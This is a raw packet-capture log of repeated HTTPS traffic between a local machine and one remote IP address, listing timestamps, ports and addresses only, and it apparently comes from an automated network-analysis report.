Dec 23, 2024 01:21:27.608556032 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608570099 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608583927 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608592033 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.608597994 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608699083 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.608709097 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608760118 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.815363884 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.815428019 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.058832884 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.058854103 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.058868885 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.058881998 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.058968067 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.058976889 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.058989048 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.059001923 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.059017897 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.059026003 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.059122086 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.059130907 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.059214115 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.263343096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.263684988 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.528935909 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.528966904 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529016018 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529030085 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529073954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.529082060 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529093027 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529124022 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.529134035 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529148102 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529151917 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529165030 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.529170990 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.529211998 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.529253960 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:28.735373020 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:28.735482931 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008327961 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008368969 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008402109 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008430004 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008459091 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008471966 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008491993 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008562088 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008562088 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008580923 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008615971 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008645058 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008658886 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.008701086 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008722067 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.008757114 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.215357065 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.215431929 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.475661039 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.475703001 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.475738049 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.475769997 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.475862980 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.475883961 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.475913048 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.475949049 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.476000071 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.476016045 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.476084948 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.476154089 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.687341928 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.687500000 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.951345921 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.951361895 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.951380014 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.951392889 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.951462984 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.951471090 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.951534033 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.951543093 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.951558113 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.951587915 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.951595068 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:29.951646090 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:29.951729059 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.163331032 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.163387060 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.436378956 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.436420918 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.436459064 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.436492920 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.436563015 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.436585903 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.436636925 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.436657906 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.436691046 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.436727047 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.436748028 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.436783075 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.436810970 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.436877012 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.643342972 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.643500090 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914141893 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914175034 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.914194107 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.914205074 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.914248943 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914258003 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.914294958 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914303064 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.914320946 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.914338112 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914367914 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914374113 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:30.914403915 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914429903 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:30.914463997 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.119335890 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.119409084 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.418608904 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.418653965 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.418672085 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.418684959 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.418806076 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.418828011 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.418843031 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.418849945 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.419008970 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.419017076 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.419105053 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.623377085 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.623619080 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.898334980 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.898369074 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.898389101 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.898400068 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.898447037 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.898456097 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.898489952 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.898498058 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.898519993 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.898541927 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.898547888 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:31.898566008 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.898607969 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:31.898663998 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.103343964 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.103645086 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.388150930 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.388219118 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.388263941 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.388273001 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.388346910 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.388365984 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.388422966 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.388439894 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.388467073 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.388504982 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.388504982 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.388537884 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.388551950 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.388643026 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.391618013 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.603328943 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.603409052 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.903177977 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.903201103 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.903219938 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.903233051 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.903326988 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.903337002 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.903353930 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.903359890 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.903520107 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:32.903528929 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:32.903620958 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.111371994 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.111458063 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.421909094 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.421936035 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.421952963 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.421964884 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.422056913 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.422065020 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.422081947 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.422096968 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.422103882 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.422117949 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.422147036 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.422153950 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.422214031 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.422278881 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.631342888 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.631552935 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.931118965 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.931137085 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.931155920 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.931169033 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.931330919 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.931343079 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.931360006 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.931365013 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.931598902 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:33.931608915 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:33.931760073 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.143346071 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.143431902 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.563385963 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.563502073 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.564836025 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.564872980 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.564910889 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565000057 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.565018892 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565057039 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.565072060 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565098047 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565151930 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.565171957 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565196991 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565220118 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.565232038 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565263033 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565291882 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.565304995 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.565342903 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.565385103 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:34.771377087 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:34.771599054 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.163961887 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.164010048 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164046049 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164072037 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164108992 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.164127111 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164182901 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.164201975 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164251089 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164282084 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164311886 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.164311886 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.164331913 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.164371967 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.164427996 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.375339985 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.375550032 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.760032892 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.760055065 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.760071039 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.760082960 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.760113001 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.760191917 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.760201931 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.760221958 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.760235071 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.760297060 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.760304928 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.760344028 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.760382891 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:35.967333078 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:35.967514992 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.341526031 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.341543913 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341557980 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341563940 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341667891 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.341677904 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341694117 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341706991 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341830015 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.341836929 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341849089 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.341922045 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.547367096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.547595024 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.877351999 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.877391100 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877413034 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877427101 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877511024 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.877523899 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877541065 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877554893 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877612114 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.877618074 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877667904 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.877677917 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:36.877703905 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:36.877722025 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:37.087358952 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.087548971 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:37.463499069 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:37.463537931 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.463561058 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.463568926 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.463709116 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:37.463722944 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.463740110 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.463748932 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.463946104 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:37.463954926 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.463969946 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.464051962 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:37.675340891 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:37.675426006 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.023791075 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.023822069 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.023844004 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.023855925 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.023899078 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.023909092 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.023942947 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.023951054 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.023967028 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.023996115 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.024002075 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.024017096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.024086952 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.024125099 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.231379986 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.231506109 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.637948990 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.638000011 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638021946 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638030052 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638140917 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.638154030 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638169050 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638178110 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638361931 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.638369083 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638381958 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.638463020 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:38.843342066 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:38.843417883 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:39.189429045 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:39.189440966 CET	443	49731	162.125.69.15	192.168.2.4
